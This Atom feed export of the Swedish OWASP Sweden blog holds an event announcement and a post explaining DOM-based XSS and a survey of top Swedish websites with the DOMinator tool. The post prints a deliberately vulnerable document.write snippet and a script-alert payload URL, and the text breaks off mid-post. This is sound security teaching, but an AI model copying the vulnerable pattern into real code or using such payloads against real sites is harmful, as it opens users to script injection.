<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4444008401857088382</id><updated>2012-01-30T20:06:35.244+01:00</updated><category term='mhswende'/><category term='xor'/><category term='html5'/><category term='applikationssäkerhet'/><category term='SQL Injection'/><category term='C'/><category term='interaktionsdesign'/><category term='malware'/><category term='SVG'/><category term='maven'/><category term='PayPal'/><category term='Cisco'/><category term='svaga länken'/><category term='lösenord'/><category term='it-säkerhet'/><category term='WebKit'/><category term='RSA'/><category term='WisecWisec'/><category term='Cambridge'/><category term='test'/><category term='MSDN'/><category term='pseudoslump'/><category term='hackathon'/><category term='Wikileaks'/><category term='OWASP'/><category term='hacktivism'/><category term='bcrypt'/><category term='Firefox. Chrome'/><category term='websphere'/><category term='kodexempel'/><category term='Safari'/><category term='säkerhet'/><category term='Privacy'/><category term='unicode'/><category term='xss'/><category term='Gawker'/><category term='phrack'/><category term='Antivirus'/><category term='book injection'/><category term='Defcon'/><category term='Security Development Lifecycle'/><category term='obfuskering'/><category term='Secure Remote Password Protocol'/><category term='LOIC'/><category term='personlig integritet'/><category term='SRP'/><category term='aes'/><category term='DOM sandbox'/><category term='Strict-Transport-Security'/><category term='Kina'/><category term='hci'/><category term='Opera'/><category term='AppSec EU 2011'/><category term='historik'/><category term='cross-origin request'/><category term='trojan'/><category term='sessions-id'/><category term='dynamisk länkning'/><category term='Man in the Middle'/><category term='Göteborg'/><category term='permissions'/><category term='interview'/><category term='iPhone'/><category term='entropi'/><category term='Firefox'/><category term='EcmaScript 5'/><category term='hänglås'/><category term='double submit'/><category term='buffer overflow'/><category term='Firesheep'/><category term='Internet Explorer'/><category term='Clickjacking'/><category term='certificate policy'/><category term='krypto'/><category term='AppSec USA 2010'/><category term='subnormala tal'/><category term='fuzzing'/><category term='csrf'/><category term='GSM'/><category term='Twitter'/><category term='DDoS'/><category term='säkerhet waf web application firewall process'/><category term='GWT'/><category term='remote execution'/><category term='javascript'/><category term='kryptering'/><category term='NoScript'/><category term='kurs'/><category term='DZone'/><category term='x-frame-options'/><category term='waf mod_security web application security'/><category term='webbläsare'/><category term='Oracle'/><category term='mashups'/><category term='WebSockets'/><category term='format string'/><category term='C++'/><category term='subdomain hijacking'/><category term='OWASP Summit'/><category term='The Jester'/><category term='hsts'/><category term='EMV'/><category term='säkerhetsbugg'/><category term='STS'/><category term='Chrome'/><category term='application security development process assurance programming'/><category term='Mozilla'/><category term='amazon'/><category term='irc'/><category term='SSL'/><category term='Forefront'/><category term='AppSensor'/><category term='Michal Zalewski'/><category term='Spring'/><category term='Android'/><category term='session hijacking'/><category term='Facebook'/><category term='DOM-XSS'/><category term='XSS Rays'/><category term='e-post'/><category term='cross-site scripting'/><category term='Google Web Toolkit'/><category term='mdi'/><category term='BGP'/><category term='jBCrypt'/><category term='ASCII'/><category term='padlock'/><category term='Årskrönika'/><category term='Säkerhetsverktyg'/><category term='DOMinator'/><category term='CA-cert'/><category term='post'/><category term='Java'/><category term='utmaning'/><category term='hackers'/><category term='Nätverkssäkerhet'/><category term='2G'/><category term='null'/><category term='lösenordshantering'/><category term='PHP'/><category term='community hack'/><category term='phishing'/><category term='sårbar kod'/><category term='PKI'/><category term='avlyssning'/><category term='chipkort'/><category term='rainbow table'/><category term='cross_fuzz'/><category term='IDG Topp 100'/><category term='https'/><category term='routing'/><category term='DoS'/><category term='Jeff Williams'/><category term='Mario Heiderich'/><category term='content security policy'/><category term='foss'/><category term='TLS'/><category term='axis'/><category term='Black Hat'/><category term='ftp'/><category term='verktyg'/><category term='Struts 2'/><title type='text'>OWASP Sweden</title><subtitle type='html'>En blogg om mjukvarusäkerhet, OWASP och det svenska chaptret OWASP Sweden.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default?start-index=101&amp;max-results=100'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>265</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-399461518402461183</id><published>2012-01-30T20:01:00.002+01:00</published><updated>2012-01-30T20:06:35.268+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='community hack'/><category scheme='http://www.blogger.com/atom/ns#' term='Göteborg'/><title type='text'>CommunityHack i Göteborg</title><content type='html'>&lt;span class="Apple-style-span" style="border-collapse: collapse; color: rgb(34, 34, 34); font-family: arial, sans-serif; font-size: 13px; "&gt;Den 18 februari öppnar OWASP Göteborg dörrarna till vårt första community hack! Där ges möjlighet att hacka på de där hobbyprojekten som man aldrig tar sig tid för annars samt trevligt umgänge med likasinnade. Vi kommer att befinna oss på Chalmers från klockan 09.00 och håller på en bit in på kvällen. Under dagen så bjuder vår sponsor Omegapoint på pizza och läsk för att vi ska hålla energin uppe. Vår förhoppning är även att kunna bjuda på en enklare frukost samt lite tilltugg.&lt;/span&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse; color: rgb(34, 34, 34); font-family: arial, sans-serif; font-size: 13px; "&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Anmälan sker genom &lt;a href="http://communityhack-feb-2012.eventbrite.com/"&gt;Eventbrite&lt;/a&gt; och för mer information samt förslag på vad man kan hitta på under dagen så rekommenderas ett besök på eventets &lt;a href="http://www.insto.org/communityhack"&gt;wiki&lt;/a&gt;. Vi har plats för max 40 besökare, och som vanligt är det först till kvarn som gäller. För frågor så går det bra att höra av sig direkt till mig!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Förresten, ni har väl inte missat Patrik Corneliussons &lt;a href="http://owaspsweden.blogspot.com/2012/01/dom-xss-genomgang-av-sveriges-basta.html"&gt;blogginlägg&lt;/a&gt; om de många DOM-baserade XSS-sårbarheter som han hittade vid en analys av Sveriges 100 bästa sajter, utsedda av IDG?&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Med vänliga hälsningar,&lt;/div&gt;&lt;span class="HOEnZb"&gt;&lt;span style="color:#888888;"&gt;&lt;div&gt;Erik Brännström (@erikbrannstrom)&lt;/div&gt;&lt;div&gt;OWASP Göteborg&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-399461518402461183?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/399461518402461183/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=399461518402461183' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/399461518402461183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/399461518402461183'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2012/01/communityhack-i-goteborg.html' title='CommunityHack i Göteborg'/><author><name>Mattias Jidhage</name><uri>http://www.blogger.com/profile/10899746186835244640</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3196795695530771722</id><published>2012-01-24T19:16:00.000+01:00</published><updated>2012-01-24T19:16:06.847+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOMinator'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM-XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='IDG Topp 100'/><title type='text'>DOM-XSS genomgång av Sveriges bästa sajter</title><content type='html'>&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Då  och då kommer det verktyg som underlättar säkerhetsarbetet genom att  göra säkerhetsanalys enkel och tillgänglig för många användare.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;DOMinator är ett sådant verktyg och det höll Stefano Di Paola ett föredrag om på ett av OWASP Göteborgs seminarium.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;DOMinator  är ett program som automatiskt identifierar DOM-XSS-sårbarheter i  webbapplikationer. Programmet är ett plugin till firebug i firefox och  finns att ladda ner här &lt;/span&gt;&lt;a href="http://code.google.com/p/dominator/downloads/list"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://code.google.com/p/dominator/downloads/list&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Stefano  gick genom hur han har byggt sitt program och hur man använder det. Han  berättade att han behövde identifiera Sources och Sinks, där Sources är  möjliga vägar att skicka in data till en applikation, exempelvis via  adressfältet, cookie eller referrer. Sinks är det område i programkoden  där en viss sårbarhet kan utnyttjas baserat på användarinmatad data,  exempelvis kod som eval(), window.location.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Läs mer om sinks och sources på dessa länkar.&lt;/span&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/domxsswiki/wiki/Sinks"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://code.google.com/p/domxsswiki/wiki/Sinks&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/domxsswiki/wiki/Sources"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://code.google.com/p/domxsswiki/wiki/Sources&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Läs mer om hur DOMinator är uppbyggt i nedanstående PDF&lt;/span&gt;&lt;br /&gt;&lt;a href="http://dominator.googlecode.com/files/DOMinator_Control_Flow.pdf"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://dominator.googlecode.com/files/DOMinator_Control_Flow.pdf&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;h3 dir="ltr"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;"&gt;IDG Topp 100 &lt;/span&gt;&lt;/h3&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Samtidigt  som jag provade DOMinator släppte internetworld sin årliga topplista  med de 100 bästa sajterna i Sverige. Hela listan hittar du på IDG:s sajt  &lt;/span&gt;&lt;a href="http://internetworld.idg.se/topp100"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://internetworld.idg.se/topp100&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Eftersom  de är Sveriges bästa sajter så handlar det i stor utsträckning om  framgångsrika och välbesökta sajter. Miriam Olsson Jeffery beskriver  sajterna som är med på detta sätt &lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;“Alla  sajter på Internetworlds Topp100-lista är vinnare. De har valts ut  bland hundratals andra och visar vägen för den svenska webbens  utveckling. Det låter klyschigt, men så är det.”&lt;/span&gt;&lt;br /&gt;&lt;a href="http://internetworld.idg.se/2.1006/1.413218"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 11px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://internetworld.idg.se/2.1006/1.413218&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 11px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Det väckte min nyfikenhet&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Hur många av sajterna på IDGs topp 100-lista är sårbara för DOM-XSS? &lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Stefano hade testat de största sajterna på alexa. Resultatet från Stefanos undersökning hittar du här &lt;/span&gt;&lt;a href="http://blog.mindedsecurity.com/2011/05/dominator-project.html"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://blog.mindedsecurity.com/2011/05/dominator-project.html&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Om  de visar vägen för svenska webbens utveckling så kanske det kan ge en  fingervisning om hur framtiden för andra publika sajter ser ut, inom  webbapplikationssäkerhet. &lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;h3 dir="ltr"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;"&gt;DOM-XSS&lt;/span&gt;&lt;/h3&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Innan jag fortsätter berätta om min analys av sajterna vill jag beskriva hur en DOM-XSS attack kan gå till.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;XSS  (Cross Site Scripting) finns i fler former, persistent XSS och  ickepersistent XSS. Persistent XSS handlar om att säkerhetsproblemet är  lagrat på servern, exempelvis i en databas. Om vi tänker oss ett  blogginlägg så körs XSS-attacken varje gång någon visar det aktuella  blogginlägget. Ickepersistent XSS handlar om sådant som inte lagras på  servern men där servern tar emot det inmatade värdet och skriver ut det  igen på sidan utan att det hanteras och därmed öppnar för attacker, ofta  genom querystrings.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;DOM-XSS,  eller DOMbaserad XSS handlar om värden som javascript läser och  använder igen på sidan, utan att servern nödvändigtvis behöver vara  inblandad. Detta gör att det är väldigt svårt för systemadministratörer  att upptäcka attacker mot sajten eftersom attacken kan göras utan att  någon data som verkar farlig skickas till servern. Det gör att de  säkerhetsverktyg (brandväggar, IDS och IPS) man möjligen har för att  stoppa attacker blir verkningslösa.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Som  exempel kan vi ta en sida med ett sökformulär. Sökningen sker via ajax,  men för att kunna bokmärka eller skicka en sida med sökresultat till  vänner så används hash-delen i url:en för att veta vilket sökresultat  som skall hämtas. Föreställ dig att en sajt har följande url:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.domain.com/search.aspx#search"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://www.domain.com/search.aspx#search&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Sedan lite kod för att skriva ut det man sökte på&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;document.write("Du sökte på "+document.location.hash);&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Skickar vi då istället in&lt;/span&gt;&lt;br /&gt;&lt;a href="about:blank"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://www.domain.com/search.aspx#&amp;lt;script&amp;gt;alert(/dom-xss/)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;så kommer en alertruta att visas i webbläsaren.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Det som skickas till servern är dock endast &lt;/span&gt;&lt;a href="about:blank"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://www.domain.com/search.aspx&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt; och alltså inte det som står efter hash-tecknet. &lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;h3 dir="ltr"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;"&gt;Analys&lt;/span&gt;&lt;/h3&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Jag  utgick från IDGs topplista och bestämde mig för att utföra några enkla  test på varje sajt. Jag analyserade ungefär 2-3 sidor per sajt. Detta  kan givetvis innebära att fler sajter än vad jag hittade har  säkerhetsproblem, eftersom säkerhetsproblem kan finnas på de sidor som  jag inte analyserade. När jag hittat minst ett säkerhetsproblem gick jag  vidare till nästa sajt. Många gånger fanns det flera säkerhetsproblem,  men jag valde att koncentrera mig på DOM-XSS.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;DOMinator  har två sätt att varna. Dels genom alerts och dels genom warnings. I  min analys har jag inte hittat någon sajt där DOMinator varnat med en  alert som har varit en falsk positiv. Det är fullt möjligt att varningar  på warnings-nivån också går att utnyttja, men jag har valt att endast  fokusera på de sajter med alerts. För att säkerställa att DOMinator inte  varnade falskt valde jag att manuellt validera 20 % av de sajter som  var sårbara enligt DOMinator. &lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Den  manuella valideringen underlättades av att DOMinator pekade på var i  koden problemet var. Som exempel kan jag ta upp en sajt som hade en  sårbarhet via källan location, mer specifikt querystring och att detta  sedan skrevs ut på sidan.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;När jag provade att escape:a strängen med enkel- och dubbelfnuttar så lyckades det inte.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Det visade sig att sajten hade en replace på dubbelfnuttar, men att den inte var global.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Såhär såg varningen i DOMinator ut&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: 